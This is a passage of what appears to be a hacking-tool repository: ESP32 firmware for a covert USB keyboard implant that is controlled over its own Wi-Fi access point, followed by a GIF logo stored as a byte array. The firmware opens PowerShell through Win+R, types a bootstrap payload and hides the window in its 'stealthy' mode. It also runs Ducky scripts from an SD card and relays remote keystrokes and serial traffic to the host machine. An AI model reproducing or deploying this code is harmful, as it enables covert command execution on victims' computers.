+= cardSize; 131 | PRINT_STR(str, x, y) 132 | 133 | str = "Total space: "; 134 | str += uint32_t(SD_MMC.totalBytes() / (1024 * 1024)); 135 | str += "MB"; 136 | PRINT_STR(str, x, y) 137 | 138 | str = "Used space: "; 139 | str += uint32_t(SD_MMC.usedBytes() / (1024 * 1024)); 140 | str += "MB"; 141 | PRINT_STR(str, x, y) 142 | } 143 | 144 | void setup() { 145 | HWSerial.begin(115200); 146 | pinMode(TFT_LEDA_PIN, OUTPUT); 147 | 148 | // init USB HID 149 | // initialize control over the keyboard: 150 | keyboard.begin(); 151 | mouse.begin(); 152 | USBSerial2.begin(); 153 | USB.begin(); 154 | 155 | // Initialise TFT 156 | tft.init(); 157 | tft.setRotation(1); 158 | tft.fillScreen(TFT_BLACK); 159 | digitalWrite(TFT_LEDA_PIN, 0); 160 | tft.setTextFont(1); 161 | tft.setTextColor(TFT_GREEN, TFT_BLACK); 162 | 163 | 164 | // wifi AP setup 165 | uint32_t low = ESP.getEfuseMac() & 0xFFFFFFFF; 166 | uint32_t high = ( ESP.getEfuseMac() >> 32 ) % 0xFFFFFFFF; 167 | uint64_t fullMAC = word(low,high); 168 | 169 | // just want to have some ID to hopefully avoid SSID colision at conferences. 170 | // hopefully this is good enough *shrug* 171 | uint16_t small_id = high & 0xFFFF; 172 | 173 | snprintf(ssid, 23, "hax-%X", small_id); 174 | if (!WiFi.softAP(ssid, password)) { 175 | log_e("Soft AP creation failed."); 176 | keyboard.print("SoftAP creation failed :( "); 177 | while (1); 178 | } 179 | IPAddress myIP = WiFi.softAPIP(); 180 | server.begin(); 181 | 182 | 183 | // BGR ordering is typical 184 | // --- Uncomment for shiny LEDs --- 185 | FastLED.addLeds(&leds, 1); 186 | xTaskCreatePinnedToCore(led_task, "led_task", 1024, NULL, 1, NULL, 0); 187 | 188 | lvgl_init(); 189 | 190 | lv_obj_t* screen = lv_scr_act(); 191 | 192 | 193 | /* just show the logo gif */ 194 | lv_obj_set_style_bg_color(screen, lv_color_black(),0); 195 | lv_obj_t *img = lv_gif_create(screen); 196 | lv_obj_set_size(img, 60, 80); 197 | lv_gif_set_src(img, &avatargif); 198 | lv_obj_set_pos(img, 0, 0); 199 | 200 | label = lv_label_create(screen); 201 | refresh_label_text(); 202 | lv_label_set_text(label, label_text); 203 | lv_obj_set_style_text_align(label, LV_TEXT_ALIGN_CENTER, 0); 204 | lv_obj_set_pos(label, 65, 15); 205 | 206 | button.attachClick([] { setup_ps(); }); 207 | 208 | // Init SD card 209 | sd_init(); 210 | delay(3000); // delay for 3 seconds so we can read SD mount info. Comment out if you don't care 211 | } 212 | 213 | // set to 0 to help see whats going on. set to 1 to be stealthy 214 | #define BE_STEALTHY 1 215 | void setup_ps() { 216 | 217 | keyboard.press(KEY_LEFT_GUI); 218 | keyboard.press('r'); 219 | delay(10); 220 | keyboard.releaseAll(); 221 | delay(500); 222 | 223 | keyboard.print("powershell"); 224 | delay(100); 225 | keyboard.press(KEY_RETURN); 226 | delay(100); 227 | keyboard.releaseAll(); 228 | delay(1200); 229 | 230 | keyboard.print(bootstrap_ps); 231 | 232 | if (BE_STEALTHY) { 233 | keyboard.print("clear"); 234 | keyboard.print(small_window); 235 | keyboard.press(KEY_LEFT_ALT); 236 | keyboard.press(' '); 237 | delay(100); 238 | keyboard.releaseAll(); 239 | delay(10); 240 | keyboard.write('n'); 241 | } 242 | } 243 | #define MAX_FILE_LEVELS 5 244 | void listDir(WiFiClient *client, fs::FS &fs, const char *dirname, uint8_t cur_level) { 245 | Serial.printf("Listing directory: %s\n", dirname); 246 | 247 | File root = fs.open(dirname); 248 | if (!root) { 249 | client->write("Failed to open directory"); 250 | return; 251 | } 252 | if (!root.isDirectory()) { 253 | client->write("Not a directory"); 254 | return; 255 | } 256 | 257 | File file = root.openNextFile(); 258 | while (file) { 259 | const char *filename = file.name(); 260 | // skip hidden files 261 | if(filename[0] != '.') { 262 | for(short i=0; i < cur_level; i++){ 263 | client->write("-"); 264 | } 265 | client->write(" "); 266 | client->write(filename); 267 | client->write("\n"); 268 | if (file.isDirectory() && cur_level <= MAX_FILE_LEVELS) { 269 | listDir(client, fs, file.path(), cur_level + 1); 270 | } 271 | } 272 | file = root.openNextFile(); 273 | } 274 | client->write("\n"); 275 | } 276 | 277 | void write_to_screen(const char *label1_text) { 278 | lv_label_set_text(label, label1_text); 279 | } 280 | 281 | 282 | void handle_user_input(const char *input, WiFiClient *client) { 283 | // escape logic 284 | if(state != MENU_STATE && (strcmp(input, "radio jack off\r\n") == 0 || strcmp(input, "radio jack off\n") == 0 || strcmp(input, "radio jack off") == 0)) { 285 | client->write("entering menu state\n"); 286 | state = MENU_STATE; 287 | write_to_screen("MENU"); 288 | } 289 | 290 | switch(state) { 291 | case MENU_STATE: { 292 | if(strcmp(input, "payload\r\n") == 0 || strcmp(input, "payload\n") == 0 || strcmp(input, "payload") == 0) { 293 | state = PAYLOAD_STATE; 294 | setup_ps(); 295 | client->write("payload delivered\n"); 296 | state = MENU_STATE; 297 | } else if(strcmp(input, "ducky\r\n") == 0 || strcmp(input, "ducky\n") == 0 || strcmp(input, "ducky") == 0) { 298 | client->write("Entering ducky mode \n"); 299 | listDir(client, SD_MMC, (const char*) "/", 0); 300 | client->write("Which ducky file to run? (don't forget the leading /)"); 301 | state = DUCKY_STATE; 302 | } else if(strcmp(input, "keyboard\r\n") == 0 || strcmp(input, "keyboard\n") == 0 || strcmp(input, "keyboard") == 0) { 303 | client->write("Entering keyboard mode\n"); 304 | write_to_screen("KEYBOARD"); 305 | state = KEYBOARD_STATE; 306 | } else if(strcmp(input, "serial\r\n") == 0 || strcmp(input, "serial\n") == 0 || strcmp(input, "serial") == 0) { 307 | client->write("Entering serial mode\n"); 308 | write_to_screen("SERIAL"); 309 | USBSerial2.write(" \r\n"); 310 | state = SERIAL_STATE; 311 | } else { 312 | client->write("MENU: type 'payload', 'ducky', 'keyboard' or 'serial'. to exit a mode type 'radio jack off'\n->"); 313 | write_to_screen(input); 314 | state = MENU_STATE; 315 | } 316 | } 317 | 318 | break; 319 | 320 | case PAYLOAD_STATE: 321 | client->write("SHHHHH. still dropping payload"); 322 | break; 323 | case DUCKY_STATE: { 324 | client->write("running ->"); 325 | client->write(input); 326 | client->write("\n"); 327 | write_to_screen(input); 328 | state = DUCKY_EXE_STATE; 329 | char ducky_errmsg[40]; 330 | short ducky_err = executeDucky(SD_MMC, input, keyboard, ducky_errmsg, 40); 331 | if(ducky_err != 0) { 332 | client->write(ducky_errmsg); 333 | client->write("\nducky failed. back to menu\n"); 334 | } else { 335 | client->write("ducky ran \n"); 336 | } 337 | 338 | state = MENU_STATE; 339 | } 340 | break; 341 | case DUCKY_EXE_STATE: 342 | client->write("QUACK. still dropping ducky payload"); 343 | break; 344 | 345 | case KEYBOARD_STATE: { 346 | #ifndef RJ_DEBUG 347 | size_t len = strlen(input); 348 | keyboard.write((uint8_t*)input, len); 349 | write_to_screen("Keystrokes-->"); 350 | #else 351 | Serial.print("Keyboard from user: "); 352 | Serial.println(input); 353 | #endif 354 | } 355 | break; 356 | 357 | case SERIAL_STATE: 358 | #ifndef RJ_DEBUG 359 | USBSerial2.write(input); 360 | write_to_screen("SERIAL"); 361 | #else 362 | Serial.print("Serial teminal from user: "); 363 | Serial.println(input); 364 | #endif 365 | break; 366 | 367 | default: 368 | client->write("Unknown state bro. How did you even do this?"); 369 | write_to_screen("Unknown state"); 370 | } 371 | } 372 | 373 | void service_loop() { 374 | lv_timer_handler(); 375 | button.tick(); 376 | } 377 | 378 | int read_counter = 0; 379 | unsigned long last_read = 0; 380 | 381 | char str_buffer[MAX_MESH_PAYLOAD_LEN]; 382 | void handle_connected_client(WiFiClient &client) { 383 | if(client.connected()){ 384 | state = MENU_STATE; 385 | handle_user_input(" ", &client); // print menu 386 | write_to_screen("Client connected"); 387 | last_read = millis(); 388 | } 389 | 390 | while (client.connected()) { // loop while the client's connected 391 | 392 | while (client.available()) { // if there's bytes to read from the client, 393 | read_counter++; 394 | last_read = millis(); 395 | String s = client.readString(); 396 | if(s.length() > 0) { 397 | write_to_screen(s.c_str()); 398 | handle_user_input(s.c_str(), &client); 399 | } 400 | last_read = millis(); 401 | } 402 | while (state == SERIAL_STATE && USBSerial2.available()) { 403 | size_t num_read = USBSerial2.read(str_buffer,MAX_MESH_PAYLOAD_LEN); 404 | client.write(str_buffer, num_read); 405 | } 406 | // service other tasks/loops 407 | service_loop(); 408 | // debug -- make sure user is still there if we stuck on menu 409 | if(state == MENU_STATE && millis() - last_read > 30 * 1000) { 410 | String ping = "Still there? Ping! " + String(read_counter); 411 | client.write(ping.c_str()); 412 | last_read = millis(); 413 | } 414 | } 415 | // close the connection: 416 | client.stop(); 417 | write_to_screen("Client disconnected"); 418 | } 419 | 420 | #ifdef MESH_BRIDGE_ENABLED 421 | void loop_mesh_bridge() { 422 | if(WiFi.softAPgetStationNum() > 0) { 423 | wifi_sta_list_t wifi_sta_list; 424 | tcpip_adapter_sta_list_t adapter_sta_list; 425 | MeshtasticWifiBridgeClient client; 426 | client.write_to_screen = write_to_screen; 427 | 428 | memset(&wifi_sta_list, 0, sizeof(wifi_sta_list)); 429 | memset(&adapter_sta_list, 0, sizeof(adapter_sta_list)); 430 | 431 | esp_wifi_ap_get_sta_list(&wifi_sta_list); 432 | tcpip_adapter_get_sta_list(&wifi_sta_list, &adapter_sta_list); 433 | 434 | for (int i = 0; i < adapter_sta_list.num; i++) { 435 | tcpip_adapter_sta_info_t station = adapter_sta_list.sta[i]; 436 | //ip_addr_t statip = static_cast(station.ip); 437 | char ip_buf[20]; 438 | char *ip_str = NULL; 439 | ip_str = esp_ip4addr_ntoa(&(station.ip),ip_buf,20); 440 | if(ip_str == NULL) { 441 | write_to_screen("Bad IP"); 442 | return; 443 | } 444 | 445 | bool can_send = client.connect(ip_str, MESH_TCP_PORT); 446 | if (!can_send) { 447 | write_to_screen("No Mesh"); 448 | return; 449 | } 450 | 451 | // we're connected 452 | client.requestConfigInfo(); // request node info to jump start convo 453 | handle_connected_client(client); 454 | 455 | } 456 | } 457 | } 458 | #endif 459 | 460 | void loop_wifi() { 461 | WiFiClient client = server.available(); // listen for incoming clients 462 | 463 | if (client) { // if you get a client, 464 | handle_connected_client(client); 465 | } 466 | 467 | } 468 | 469 | 470 | void loop() { // Put your main code here, to run repeatedly: 471 | loop_wifi(); 472 | #ifdef MESH_BRIDGE_ENABLED 473 | // listen for mestastic Bridges if enabled 474 | loop_mesh_bridge(); 475 | #endif 476 | service_loop(); 477 | delay(10); // long delay when not servicing clients 478 | } 479 | -------------------------------------------------------------------------------- /avatargif.c: -------------------------------------------------------------------------------- 1 | #include "lvgl.h" 2 | 3 | #ifndef LV_ATTRIBUTE_MEM_ALIGN 4 | #define LV_ATTRIBUTE_MEM_ALIGN 5 | #endif 6 | 7 | #ifndef LV_ATTRIBUTE_IMG_AVATARGIF 8 | #define LV_ATTRIBUTE_IMG_AVATARGIF 9 | #endif 10 | 11 | const LV_ATTRIBUTE_MEM_ALIGN LV_ATTRIBUTE_LARGE_CONST LV_ATTRIBUTE_IMG_AVATARGIF uint8_t avatargif_map[] = { 12 | 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x3c, 0x00, 0x50, 0x00, 0xe7, 0xbb, 0x00, 13 | 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d, 0x0f, 0x0f, 0x0f, 0x12, 0x12, 0x12, 0x13, 14 | 0x13, 0x13, 0x14, 0x14, 0x14, 0x18, 0x18, 0x18, 0x1a, 0x1a, 0x1a, 0x1f, 0x1f, 15 | 0x1f, 0x22, 0x22, 0x22, 0x23, 0x23, 0x23, 0x24, 0x24, 0x24, 0x27, 0x27, 0x27, 16 | 0x28, 0x28, 0x28, 0x29, 0x29, 0x29, 0x2b, 0x2b, 0x2b, 0x2e, 0x2e, 0x2e, 0x2f, 17 | 0x2f, 0x2f, 0x30, 0x30, 0x30, 0x32, 0x32, 0x32, 0x33, 0x33, 0x33, 0x35, 0x35, 18 | 0x35, 0x38, 0x38, 0x38, 0x39, 0x39, 0x39, 0x3a, 0x3a, 0x3a, 0x3b, 0x3b, 0x3b, 19 | 0x3c, 0x3c, 0x3c, 0x3d, 0x3d, 0x3d, 0x3e, 0x3e, 0x3e, 0x3f, 0x3f, 0x3f, 0x41, 20 | 0x41, 0x41, 0x42, 0x42, 0x42, 0x43, 0x43, 0x43, 0x44, 0x44, 0x44, 0x45, 0x45, 21 | 0x45, 0x46, 0x46, 0x46, 0x47, 0x47, 0x47, 0x48, 0x48, 0x48, 0x49, 0x49, 0x49, 22 | 0x4a, 0x4a, 0x4a, 0x4b, 0x4b, 0x4b, 0x4c, 0x4c, 0x4c, 0x4f, 0x4f, 0x4f, 0x50, 23 | 0x50, 0x50, 0x51, 0x51, 0x51, 0x52, 0x52, 0x52, 0x54, 0x54, 0x54, 0x55, 0x55, 24 | 0x55, 0x56, 0x56, 0x56, 0x57, 0x57, 0x57, 0x59, 0x59, 0x59, 0x5a, 0x5a, 0x5a, 25 | 0x5b, 0x5b, 0x5b, 0x5c, 0x5c, 0x5c, 0x5d, 0x5d, 0x5d, 0x5e, 0x5e, 0x5e, 0x5f, 26 | 0x5f, 0x5f, 0x60, 0x60, 0x60, 0x61, 0x61, 0x61, 0x62, 0x62, 0x62, 0x64, 0x64, 27 | 0x64, 0x65, 0x65, 0x65, 0x66, 0x66, 0x66, 0x69, 0x69, 0x69, 0x6a, 0x6a, 0x6a, 28 | 0x6b, 0x6b, 0x6b, 0x6d, 0x6d, 0x6d, 0x6e, 0x6e, 0x6e, 0x6f, 0x6f, 0x6f, 0x70, 29 | 0x70, 0x70, 0x72, 0x72, 0x72, 0x73, 0x73, 0x73, 0x74, 0x74, 0x74, 0x76, 0x76, 30 | 0x76, 0x77, 0x77, 0x77, 0x7a, 0x7a, 0x7a, 0x7b, 0x7b, 0x7b, 0x7c, 0x7c, 0x7c, 31 | 0x7d, 0x7d, 0x7d, 0x7e, 0x7e, 0x7e, 0x7f, 0x7f, 0x7f, 0x80, 0x80, 0x80, 0x81, 32 | 0x81, 0x81, 0x83, 0x83, 0x83, 0x85, 0x85, 0x85, 0x86, 0x86, 0x86, 0x87, 0x87, 33 | 0x87, 0x88, 0x88, 0x88, 0x89, 0x89, 0x89, 0x8b, 0x8b, 0x8b, 0x8c, 0x8c, 0x8c, 34 | 0x8e, 0x8e, 0x8e, 0x8f, 0x8f, 0x8f, 0x90, 0x90, 0x90, 0x91, 0x91, 0x91, 0x92, 35 | 0x92, 0x92, 0x93, 0x93, 0x93, 0x94, 0x94, 0x94, 0x95, 0x95, 0x95, 0x96, 0x96, 36 | 0x96, 0x97, 0x97, 0x97, 0x98, 0x98, 0x98, 0x99, 0x99, 0x99, 0x9a, 0x9a, 0x9a, 37 | 0x9b, 0x9b, 0x9b, 0x9c, 0x9c, 0x9c, 0x9d, 0x9d, 0x9d, 0x9e, 0x9e, 0x9e, 0x9f, 38 | 0x9f, 0x9f, 0xa0, 0xa0, 0xa0, 0xa1, 0xa1, 0xa1, 0xa2, 0xa2, 0xa2, 0xa3, 0xa3, 39 | 0xa3, 0xa4, 0xa4, 0xa4, 0xa5, 0xa5, 0xa5, 0xa6, 0xa6, 0xa6, 0xa7, 0xa7, 0xa7, 40 | 0xa8, 0xa8, 0xa8, 0xa9, 0xa9, 0xa9, 0xaa, 0xaa, 0xaa, 0xab, 0xab, 0xab, 0xac, 41 | 0xac, 0xac, 0xad, 0xad, 0xad, 0xaf, 0xaf, 0xaf, 0xb0, 0xb0, 0xb0, 0xb1, 0xb1, 42 | 0xb1, 0xb2, 0xb2, 0xb2, 0xb3, 0xb3, 0xb3, 0xb4, 0xb4, 0xb4, 0xb5, 0xb5, 0xb5, 43 | 0xb6, 0xb6, 0xb6, 0xb7, 0xb7, 0xb7, 0xb8, 0xb8, 0xb8, 0xb9, 0xb9, 0xb9, 0xba, 44 | 0xba, 0xba, 0xbb, 0xbb, 0xbb, 0xbf, 0xbf, 0xbf, 0xc2, 0xc2, 0xc2, 0xc4, 0xc4, 45 | 0xc4, 0xc5, 0xc5, 0xc5, 0xc6, 0xc6, 0xc6, 0xc9, 0xc9, 0xc9, 0xcb, 0xcb, 0xcb, 46 | 0xcc, 0xcc, 0xcc, 0xce, 0xce, 0xce, 0xcf, 0xcf, 0xcf, 0xd0, 0xd0, 0xd0, 0xd1, 47 | 0xd1, 0xd1, 0xd3, 0xd3, 0xd3, 0xd5, 0xd5, 0xd5, 0xd6, 0xd6, 0xd6, 0xd7, 0xd7, 48 | 0xd7, 0xd8, 0xd8, 0xd8, 0xd9, 0xd9, 0xd9, 0xdb, 0xdb, 0xdb, 0xdc, 0xdc, 0xdc, 49 | 0xdd, 0xdd, 0xdd, 0xde, 0xde, 0xde, 0xdf, 0xdf, 0xdf, 0xe0, 0xe0, 0xe0, 0xe1, 50 | 0xe1, 0xe1, 0xe2, 0xe2, 0xe2, 0xe3, 0xe3, 0xe3, 0xe4, 0xe4, 0xe4, 0xe5, 0xe5, 51 | 0xe5, 0xe6, 0xe6, 0xe6, 0xe7, 0xe7, 0xe7, 0xe8, 0xe8, 0xe8, 0xe9, 0xe9, 0xe9, 52 | 0xeb, 0xeb, 0xeb, 0xec, 0xec, 0xec, 0xed, 0xed, 0xed, 0xee, 0xee, 0xee, 0xf0, 53 | 0xf0, 0xf0, 0xf1, 0xf1, 0xf1, 0xf2, 0xf2, 0xf2, 0xf4, 0xf4, 0xf4, 0xf5, 0xf5, 54 | 0xf5, 0xf6, 0xf6, 0xf6, 0xf7, 0xf7, 0xf7, 0xf8, 0xf8, 0xf8, 0xf9, 0xf9, 0xf9, 55 | 0xfa, 0xfa, 0xfa, 0xfb, 0xfb, 0xfb, 0xfc, 0xfc, 0xfc, 0xfd, 0xfd, 0xfd, 0xfe, 56 | 0xfe, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 57 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 58 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 59 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 60 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 61 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 62 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 63 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 64 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 65 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 66 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 67 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 68 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 69 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 70 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 71 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 72 | 0xff, 0x21, 0xff, 0x0b, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x50, 0x45, 0x32, 73 | 0x2e, 0x30, 0x03, 0x01, 0x00, 0x00, 0x00, 0x21, 0xfe, 0x11, 0x43, 0x72, 0x65, 74 | 0x61, 0x74, 0x65, 0x64, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x47, 0x49, 0x4d, 75 | 0x50, 0x00, 0x21, 0xf9, 0x04, 0x01, 0x64, 0x00, 0xff, 0x00, 0x2c, 0x00, 0x00, 76 | 0x00, 0x00, 0x3c, 0x00, 0x50, 0x00, 0x00, 0x08, 0xfe, 0x00, 0x01, 0x08, 0x1c, 77 | 0x48, 0xb0, 0xa0, 0xc1, 0x83, 0x08, 0x13, 0x2a, 0x5c, 0xc8, 0xb0, 0xa1, 0xc3, 78 | 0x87, 0x10, 0x23, 0x4a, 0x9c, 0x48, 0xb1, 0xa2, 0xc5, 0x8b, 0x18, 0x33, 0x6a, 79 | 0xdc, 0xc8, 0xb1, 0xa3, 0xc7, 0x8f, 0x20, 0x43, 0x8a, 0x1c, 0x49, 0xf2, 0xe0, 80 | 0x86, 0x24, 0x49, 0x5e, 0x68, 0x7c, 0x81, 0x92, 0x47, 0xc6, 0x29, 0x7c, 0xfe, 81 | 0xc8, 0x24, 0xb3, 0xc0, 0xe2, 0x82, 0x33, 0x32, 0x65, 0xaa, 0xa9, 0x59, 0x91, 82 | 0x4a, 0xce, 0x9c, 0x54, 0x2c, 0x66, 0xf9, 0x29, 0x13, 0x4c, 0xc5, 0x0a, 0x44, 83 | 0x65, 0xe6, 0xa9, 0x78, 0x20, 0x66, 0x52, 0x0c, 0x14, 0x5f, 0x24, 0x95, 0x39, 84 | 0x22, 0xea, 0xd4, 0x3f, 0x2a, 0x27, 0xb6, 0xb8, 0x9a, 0x55, 0xe0, 0x84, 0x31, 85 | 0x8b, 0x48, 0xc5, 0xda, 0xb5, 0xab, 0x96, 0x29, 0x49, 0x68, 0x2e, 0x10, 0x84, 86 | 0x71, 0x95, 0x45, 0xc4, 0x13, 0x47, 0x6e, 0x44, 0xd0, 0x33, 0x35, 0xeb, 0x8a, 87 | 0x45, 0xb2, 0xc8, 0xea, 0xdd, 0xbb, 0xcb, 0xd6, 0x22, 0xb7, 0x00, 0xa4, 0x26, 88 | 0xe5, 0x03, 0x01, 0x47, 0x91, 0x0f, 0x0c, 0x17, 0x94, 0xf9, 0xe9, 0x94, 0x28, 89 | 0x05, 0x81, 0x98, 0xf8, 0x4a, 0xd6, 0x1b, 0x4a, 0xa0, 0x8b, 0xa9, 0x8d, 0xff, 90 | 0x58, 0x59, 0x28, 0xe6, 0xea, 0x4f, 0x3d, 0x02, 0x09, 0xd9, 0xd2, 0x6b, 0x8b, 91 | 0x93, 0x23, 0x3d, 0x78, 0x1c, 0x69, 0x9a, 0xb5, 0x17, 0x11, 0x01, 0x00, 0x9e, 92 | 0x7f, 0x26, 0x49, 0xf8, 0x21, 0x76, 0xce, 0x3d, 0x3d, 0x22, 0xdb, 0xda, 0x04, 93 | 0xca, 0x90, 0xa2, 0x50, 0xb9, 0xf4, 0x96, 0x42, 0xe4, 0x87, 0x77, 0xad, 0x5d, 94 | 0xa1, 0xa2, 0xd8, 0x56, 0xca, 0xd3, 0xe0, 0x91, 0xe5, 0x7f, 0x04, 0xb5, 0xda, 95 | 0xd5, 0x8a, 0xc8, 0x8d, 0x49, 0x93, 0xf5, 0x66, 0x0a, 0xa2, 0x43, 0x14, 0xf5, 96 | 0x41, 0xd0, 0x85, 0xfe, 0x20, 0x4c, 0x02, 0x7d, 0x14, 0xf2, 0x0c, 0x5c, 0x46, 97 | 0x67, 0x27, 0xfd, 0xc6, 0x42, 0xa8, 0x5d, 0xa9, 0xa0, 0xcf, 0x3e, 0x28, 0x38, 98 | 0x76, 0xa4, 0x5d, 0xae, 0x66, 0xd0, 0x59, 0x3f, 0xf9, 0x8e, 0x05, 0x54, 0xbb, 99 | 0x58, 0xb2, 0x1c, 0x0c, 0x09, 0xa1, 0x11, 0xdb, 0x20, 0xc7, 0x49, 0x21, 0x85, 100 | 0x7a, 0xfc, 0xf1, 0xf5, 0xc5, 0x10, 0xb6, 0xe0, 0x72, 0x48, 0x6c, 0x69, 0x28, 101 | 0xb4, 0x80, 0x16, 0x99, 0xfd, 0x94, 0xc9, 0x2e, 0x91, 0x58, 0xc0, 0x4a, 0x83, 102 | 0x93, 0xc9, 0x92, 0x02, 0x22, 0xbb, 0x7c, 0x72, 0x15, 0x1f, 0x5b, 0x34, 0x97, 103 | 0xd0, 0x00, 0x2f, 0xfc, 0x80, 0x44, 0x0c, 0x26, 0x18, 0xf8, 0xc7, 0x58, 0x3f, 104 | 0xf4, 0x01, 0x62, 0x76, 0x8b, 0x98, 0x60, 0x8b, 0x2d, 0x32, 0x75, 0x01, 0x42, 105 | 0x0c, 0x48, 0xfc, 0xf0, 0x42, 0x01, 0x14, 0x25, 0xa0, 0x46, 0x22, 0xbb, 0x70, 106 | 0x02, 0x80, 0x2b, 0x37, 0x4e, 0x46, 0xcb, 0x05, 0x8f, 0xec, 0xf2, 0x48, 0x18, 107 | 0x01, 0x6c, 0xb4, 0x40, 0x94, 0x8b, 0xcc, 0xd1, 0x64, 0x76, 0x80, 0xfc, 0xb1, 108 | 0x8b, 0x24, 0x06, 0x70, 0x84, 0x05, 0x2c, 0x5b, 0xde, 0x28, 0xcb, 0x1b, 0x1c, 109 | 0x39, 0x52, 0x66, 0x93, 0x8e, 0xa4, 0xc9, 0x17, 0x1f, 0x35, 0x74, 0xd1, 0xc7, 110 | 0x23, 0xa6, 0xdc, 0x22, 0x99, 0x2e, 0x67, 0x05, 0xf2, 0xc5, 0x0e, 0x6c, 0xf0, 111 | 0x15, 0x89, 0x9b, 0x7b, 0x35, 0x61, 0x10, 0x27, 0x7b, 0xa9, 0x02, 0x81, 0x41, 112 | 0x7c, 0x3d, 0x02, 0xa8, 0x5e, 0x82, 0x16, 0x44, 0xa8, 0x5e, 0xaa, 0x18, 0xb4, 113 | 0x02, 0x5f, 0x6d, 0x6e, 0x64, 0xe3, 0x5e, 0x8b, 0x14, 0xb4, 0x43, 0x70, 0x7b, 114 | 0x1d, 0x51, 0xd0, 0xa5, 0x7a, 0x55, 0xaa, 0x51, 0x1c, 0x7c, 0xe9, 0x52, 0xc6, 115 | 0x40, 0x39, 0x98, 0x67, 0xcb, 0x17, 0x5d, 0x8c, 0xe6, 0xca, 0x0f, 0xfe, 0x03, 116 | 0x59, 0xc1, 0x20, 0x59, 0x4b, 0x6d, 0xd4, 0xc4, 0x64, 0xa1, 0x38, 0x52, 0x89, 117 | 0x7a, 0x68, 0x02, 0x60, 0x06, 0x59, 0xb7, 0x5c, 0xe2, 0xc8, 0xa3, 0x7c, 0x79, 118 | 0xd1, 0x91, 0x2e, 0x20, 0x22, 0xd2, 0x05, 0x1a, 0x84, 0xdc, 0xb8, 0x42, 0x47, 119 | 0x9e, 0xac, 0xd9, 0xe0, 0x2a, 0x1e, 0x99, 0xa1, 0xc9, 0x74, 0xd2, 0xf2, 0xe5, 120 | 0x0a, 0x27, 0x6e, 0x84, 0x64, 0x01, 0x13, 0x77, 0x30, 0xd2, 0x49, 0x93, 0xa0, 121 | 0x34, 0x72, 0x87, 0x14, 0x1d, 0x88, 0xf4, 0x80, 0x41, 0x40, 0x78, 0xb7, 0x9e, 122 | 0x2b, 0x44, 0x1c, 0xa4, 0xc0, 0x47, 0x46, 0xec, 0x82, 0x0a, 0x25, 0x85, 0x98, 123 | 0xa1, 0x01, 0x00, 0x22, 0xe4, 0x35, 0x99, 0x2d, 0x3a, 0x08, 0x44, 0xc2, 0x19, 124 | 0x86, 0x54, 0xa2, 0xca, 0x2e, 0x3b, 0x80, 0x04, 0xca, 0x5e, 0xb4, 0xa0, 0x01, 125 | 0x80, 0x13, 0x57, 0x48, 0xf1, 0x44, 0x15, 0x5a, 0x68, 0x51, 0x05, 0x14, 0xf3, 126 | 0xbd, 0x31, 0x2b, 0x25, 0x20, 0x71, 0x40, 0xe2, 0x5e, 0xb7, 0xe0, 0x40, 0x43, 127 | 0x09, 0x08, 0x29, 0x51, 0x85, 0x64, 0x4e, 0x7c, 0xb4, 0x01, 0x1d, 0x7f, 0x1c, 128 | 0xbc, 0x57, 0x1b, 0x18, 0x08, 0x80, 0x90, 0x0a, 0xaf, 0xf0, 0x65, 0x4a, 0x1b, 129 | 0x0e, 0x74, 0x94, 0xc1, 0x1c, 0x32, 0x21, 0xb9, 0x97, 0x29, 0x76, 0x54, 0x01, 130 | 0x03, 0x0a, 0x44, 0xa3, 0x80, 0x01, 0x02, 0x28, 0xa8, 0xb9, 0x57, 0x2e, 0x89, 131 | 0xfc, 0xc1, 0x46, 0x03, 0x1b, 0x61, 0xc0, 0x73, 0x4e, 0x0b, 0x67, 0xbb, 0x8b, 132 | 0x27, 0x39, 0xb1, 0xc1, 0xc0, 0x44, 0x35, 0x90, 0x91, 0x87, 0x4c, 0x75, 0x9c, 133 | 0x31, 0x75, 0x4e, 0x83, 0xb0, 0x26, 0x6d, 0x2c, 0xe0, 0xe5, 0xf4, 0x06, 0x1a, 134 | 0x75, 0x28, 0x55, 0x46, 0x0d, 0x0b, 0x19, 0x01, 0xdd, 0x1f, 0x51, 0x4a, 0xeb, 135 | 0x88, 0x7c, 0x09, 0x2d, 0xb0, 0xc7, 0xf5, 0xdc, 0x7f, 0x9c, 0xb2, 0x26, 0x29, 136 | 0x73, 0xf3, 0x51, 0x01, 0x42, 0x38, 0xf0, 0xfd, 0x87, 0x1d, 0xb3, 0x36, 0x68, 137 